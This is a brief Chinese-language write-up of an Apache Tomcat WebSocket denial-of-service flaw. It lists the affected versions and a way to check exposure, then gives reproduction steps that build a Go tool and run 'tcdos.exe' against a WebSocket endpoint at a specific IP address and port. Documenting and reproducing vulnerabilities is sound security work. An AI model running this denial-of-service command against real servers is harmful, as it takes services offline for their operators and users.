简介
Apache Tomcat是美国阿帕奇(Apache)基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。
Tomcat 未针对 WebSokcet 进行包长度校验,特制的 WebSocket 请求包将导致处理函数无限循环,最终导致服务停机并拒绝服务。
影响版本:
10.0.0-M1版本至10.0.0-M6版本
9.0.0.M1版本至9.0.36版本
8.5.0版本至8.5.56版本
7.0.27版本至7.0.104版本
漏洞判定:
一、是否是受影响版本。
二、echo.xhtml是否存在。
http://IP:端口/examples/websocket/echo.xhtml
复现
go语言代理
go env -w GOPROXY=https://goproxy.cn
go build
tcdos.exe ws://123.58.236.76:27041//examples/websocket/echoStreamAnnotation